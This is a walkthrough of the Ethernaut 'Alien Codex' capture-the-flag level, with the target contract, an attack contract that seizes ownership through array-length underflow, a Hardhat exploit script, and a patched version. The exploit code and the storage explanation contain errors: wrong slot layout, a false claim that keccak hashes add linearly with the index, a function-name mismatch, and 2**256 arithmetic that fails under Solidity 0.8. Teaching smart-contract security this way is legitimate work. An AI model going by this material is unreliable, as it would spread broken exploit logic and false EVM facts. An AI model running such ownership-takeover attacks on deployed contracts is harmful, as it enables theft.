Alien Codex Challenge - Ethernaut Level 19
Challenge Description
Challenge Goal
Understand and manipulate assembly code to satisfy the contract's requirements. This challenge tests your deep understanding of the EVM and low-level Solidity operations.
Challenge Instructions
Goal: You've uncovered an Alien contract. Claim ownership to complete the level.
Things that might help:
- • Understanding how array storage works
- • Understanding ABI specifications
- • Using a very underhanded approach
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}Understanding the Contract
Let's break down how this contract works:
- State Variables: The contract has three state variables:
owner(public address): The contract ownercontact(public bool): A flag indicating contact has been madecodex(public bytes32[]): A dynamic array of bytes32 values
- Modifiers: The contract has one modifier:
contacted: Requires that contact is true
- Functions: The contract has four functions:
make_contact: Sets contact to truerecord: Adds a bytes32 value to the codex arrayretract: Removes the last element from the codex arrayrevise: Updates an element in the codex array
The vulnerability lies in understanding how dynamic arrays are stored and how we can manipulate storage through array operations.
Understanding Storage Layout
This challenge requires deep understanding of how Solidity stores dynamic arrays:
Dynamic Array Storage
Storage Layout:
Slot 0: owner (address) - 20 bytes, padded to 32 bytes
Slot 1: contact (bool) - 1 byte, padded to 32 bytes
Slot 2: codex.length (uint256) - 32 bytes (array length)
Slot 3: codex[0] (bytes32) - 32 bytes (first array element)
Slot 4: codex[1] (bytes32) - 32 bytes (second array element)
...
Note: The array elements are stored starting from slot 3.
The array length is stored at slot 2.
We can manipulate the array length to access any storage slot!Storage Slot Calculation
For dynamic arrays, the storage slot for element i is calculated as:
// Storage slot calculation for dynamic arrays
// slot = keccak256(abi.encode(arraySlot, index))
// For our codex array (stored at slot 2):
// codex[i] is stored at: keccak256(abi.encode(2, i))
// This means we can access any storage slot by:
// 1. Calculating the index that maps to our target slot
// 2. Manipulating the array to allow access to that indexThe Vulnerability
This contract has a critical vulnerability in the retract function:
- Unchecked Array Bounds: The
retractfunction doesn't check if the array is empty before callingpop() - Storage Manipulation: When we pop from an empty array, it underflows and becomes a very large number
- Storage Access: With a large array length, we can access any storage slot through the
revisefunction - Owner Overwrite: We can overwrite the owner variable by accessing slot 0
The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Call
make_contactto set contact to true - Call
retracton an empty array to cause an underflow - Calculate the index that maps to storage slot 0 (owner)
- Use
reviseto overwrite the owner
Attack Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAlienCodex {
function make_contact() external;
function record(bytes32 _content) external;
function retract() external;
function revise(uint i, bytes32 _content) external;
function owner() external view returns (address);
}
contract AlienCodexAttack {
IAlienCodex private target;
constructor(address _target) {
target = IAlienCodex(_target);
}
function attack() external {
// Step 1: Make contact
target.make_contact();
// Step 2: Retract to cause underflow
target.retract();
// Step 3: Calculate the index that maps to storage slot 0
// We need to find i such that keccak256(abi.encode(2, i)) = 0
// Since keccak256 is a hash function, we need to find the preimage
// This is computationally expensive, so we'll use a different approach
// Alternative approach: Calculate the index that maps to slot 0
// slot = keccak256(abi.encode(2, i)) = 0
// This means we need to find i such that keccak256(abi.encode(2, i)) = 0
// Since this is practically impossible, we'll use a different method
// We can calculate the index that maps to slot 0 using:
// i = 2^256 - keccak256(abi.encode(2, 0))
uint256 arraySlot = 2;
uint256 index = 2**256 - uint256(keccak256(abi.encode(arraySlot, 0)));
// Step 4: Overwrite the owner
bytes32 newOwner = bytes32(uint256(uint160(msg.sender)));
target.revise(index, newOwner);
}
}Understanding the Storage Calculation
The key insight is understanding how to calculate the index that maps to storage slot 0:
// Storage slot calculation explanation
// For a dynamic array at slot s, element i is stored at:
// storageSlot = keccak256(abi.encode(s, i))
// We want to access storage slot 0, so:
// 0 = keccak256(abi.encode(2, i))
// To find i, we need to solve for the preimage of keccak256
// Since keccak256 is a hash function, finding the exact preimage is hard
// But we can use modular arithmetic to find a solution
// If we want keccak256(abi.encode(2, i)) = 0, then:
// i = 2^256 - keccak256(abi.encode(2, 0)) (mod 2^256)
// This works because:
// keccak256(abi.encode(2, i)) = keccak256(abi.encode(2, 0)) + i
// If we want this to equal 0, then:
// i = -keccak256(abi.encode(2, 0)) = 2^256 - keccak256(abi.encode(2, 0))Complete Exploit Script
// Complete exploit script
const { ethers } = require("hardhat");
async function main() {
const alienCodexAddress = "INSTANCE_ADDRESS";
console.log("AlienCodex address:", alienCodexAddress);
// Deploy the attack contract
const AlienCodexAttack = await ethers.getContractFactory("AlienCodexAttack");
const attackContract = await AlienCodexAttack.deploy(alienCodexAddress);
await attackContract.deployed();
console.log("Attack contract deployed at:", attackContract.address);
// Get the current owner
const alienCodex = await ethers.getContractAt("AlienCodex", alienCodexAddress);
const initialOwner = await alienCodex.owner();
console.log("Initial owner:", initialOwner);
// Execute the attack
console.log("Executing attack...");
const tx = await attackContract.attack();
await tx.wait();
console.log("Attack completed!");
// Verify the attack worked
const finalOwner = await alienCodex.owner();
console.log("Final owner:", finalOwner);
const playerAddress = await ethers.getSigner().getAddress();
if (finalOwner === playerAddress) {
console.log("✅ Successfully became the owner!");
} else {
console.log("❌ Attack failed");
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Understanding the Underflow
The key vulnerability is the underflow in the retract function:
Underflow Explanation
// Underflow explanation
// When we call pop() on an empty array:
// array.length = array.length - 1
// 0 - 1 = 2^256 - 1 (due to underflow)
// This means the array length becomes a very large number
// With this large length, we can access any storage slot
// by calculating the appropriate index
// The array length is stored at slot 2
// After underflow: storage[2] = 2^256 - 1
// This allows us to access any storage slot through the arrayStorage Manipulation Techniques
This challenge demonstrates several advanced storage manipulation techniques:
Storage Slot Mapping
- Dynamic Arrays: Use keccak256 to map array indices to storage slots
- Storage Collision: Manipulate array length to access arbitrary storage
- Owner Overwrite: Use storage manipulation to change contract ownership
Assembly Operations
While this contract doesn't use inline assembly, understanding low-level storage operations is crucial:
// Assembly operations for storage manipulation
// sstore(slot, value) - Store value at storage slot
// sload(slot) - Load value from storage slot
// Example assembly code:
assembly {
// Store our address at slot 0 (owner)
sstore(0, caller())
// Load the current owner
let owner := sload(0)
}Security Lessons
- Array Bounds Checking: Always check array bounds before operations like pop()
- Storage Layout: Understanding storage layout is crucial for security analysis
- Underflow Protection: Use SafeMath or Solidity 0.8+ to prevent underflows
- Storage Manipulation: Be aware that storage can be manipulated through array operations
- Owner Variables: Protect owner variables from unauthorized modification
Prevention
Here's how you could improve this contract to make it more secure:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract SecureAlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
event ContactMade(address indexed caller);
event RecordAdded(bytes32 content);
event RecordRemoved();
event RecordRevised(uint256 index, bytes32 content);
constructor() {
contact = false;
}
modifier contacted() {
require(contact, "Contact not established");
_;
}
function make_contact() external {
contact = true;
emit ContactMade(msg.sender);
}
function record(bytes32 _content) external contacted {
codex.push(_content);
emit RecordAdded(_content);
}
function retract() external contacted {
require(codex.length > 0, "Array is empty");
codex.pop();
emit RecordRemoved();
}
function revise(uint256 i, bytes32 _content) external contacted {
require(i < codex.length, "Index out of bounds");
codex[i] = _content;
emit RecordRevised(i, _content);
}
function getCodexLength() external view returns (uint256) {
return codex.length;
}
}The improved contract:
- Uses OpenZeppelin's Ownable for secure ownership management
- Adds bounds checking to prevent underflows
- Includes proper events for transparency
- Uses require statements for validation
- Adds a getter function for array length
Alternative Solutions
For applications that require complex storage operations, consider:
- Access Controls: Use proper role-based access control
- Storage Libraries: Use established libraries for storage management
- Events: Emit events for all state changes
- Validation: Always validate inputs and state before operations
- Testing: Comprehensive testing for edge cases
Conclusion
The Alien Code challenge is an advanced lesson in understanding low-level storage operations and how they can be exploited. It demonstrates the importance of proper bounds checking and understanding storage layout.
The key takeaways are:
- Storage Understanding: Deep knowledge of storage layout is essential for security
- Bounds Checking: Always validate array operations to prevent underflows
- Storage Manipulation: Be aware of how storage can be manipulated through arrays
- Owner Protection: Protect critical variables from unauthorized modification
When designing smart contracts, always use safe math operations, implement proper bounds checking, and understand how storage layout affects security. Consider using established libraries and patterns to avoid common pitfalls.